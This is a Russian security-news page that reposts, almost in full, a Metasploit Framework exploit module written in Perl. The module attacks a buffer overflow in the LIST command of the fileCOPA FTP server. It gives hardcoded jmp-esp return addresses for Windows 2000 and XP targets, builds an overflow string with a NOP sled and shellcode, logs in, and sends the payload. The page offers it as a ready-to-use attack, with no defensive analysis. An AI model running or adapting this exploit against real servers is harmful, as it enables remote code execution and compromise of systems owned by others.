На главную  Карта сайта  
Главное меню
Реклама

Обнаружена ошибка в FileCOPA FTPD

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::filecopa_list;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
 'Name'    => 'FileCopa FTP Server pre 18 Jul Version',
 'Version' => '$Revision: 0.1 $',
 'Authors' =>
   [
  'Jacopo Cervini <acaro [at] jervus.it>'
   ],

 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
 'Priv'  => 0,

 'AutoOpts'  => { 'EXITFUNC' => 'thread' },
 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 21],
  'SSL'   => [0, 'BOOL', 'Use SSL'],
  'USER'  => [1, 'DATA', 'Username', 'test'],
  'PASS'  => [1, 'DATA', 'Password', 'test'],
   },

 'Payload' =>
   {
  'Space'  => 400,
  'BadChars'  => "\x00\x0a\x0d",
  # 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
  'Keys'   => ['+ws2ord'],
   },

 'Description'  =>  Pex::Text::Freeform(qq{
        This module exploits the buffer overflow found in the LIST command
        in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch.   
}),

 'Refs'  =>
   [
  ['BID', '19065'],
  
   ],

 'DefaultTarget' => 0,
 'Targets' =>
   [

  ['Windows 2000 SP4 English', 160, 0x7c2e7993 ], # jmp esp in ADVAPI32.dll
  ['Windows 2000 SP4 Italian', 160, 0x79277993 ], # jmp esp in ADVAPI32.dll
  ['Windows XP SP2 English', 240, 0x77df2740 ], # jmp esp in ADVAPI32.dll
  
  

   ],

 'Keys' => ['filecopa'],

 'DisclosureDate' => 'Jul 19 2006',
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}


sub Exploit {
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target      = $self->Targets->[$target_idx];

 


 
 
 my $jmp = "\x66\x81\xc1\xa0\x01\x51\xc3";

 #66:81C1 A001   ADD CX,1A0
 #51             PUSH ECX
 #C3             RETN
   

 my $pattern = ("A" x $target->[1]);
         $pattern .= pack('V', $target->[2]);
    $pattern .= ("\x90"x4);
    $pattern .= $jmp;
    $pattern .= ("\x90"x283);
    $pattern .= $shellcode;

   
 my $request = "A " . $pattern ."\r\n";

 

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
  'SSL'       => $self->GetVar('SSL'),
   );

 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 my $r = $s->RecvLineMulti(20);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 $self->Print($r);

 $s->Send("USER " . $self->GetVar('USER') . "\r\n");
 $r = $s->RecvLineMulti(20);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 $self->Print($r);


 $s->Send("PASS ".$self->GetVar('PASS')."\r\n");
 $r = $s->RecvLineMulti(20);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 $self->Print($r);

 $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp at 0x%.8x...", $target->[2]));


 $s->Send("LIST $request");
 
 sleep(2);
 return;
}

11.01.2007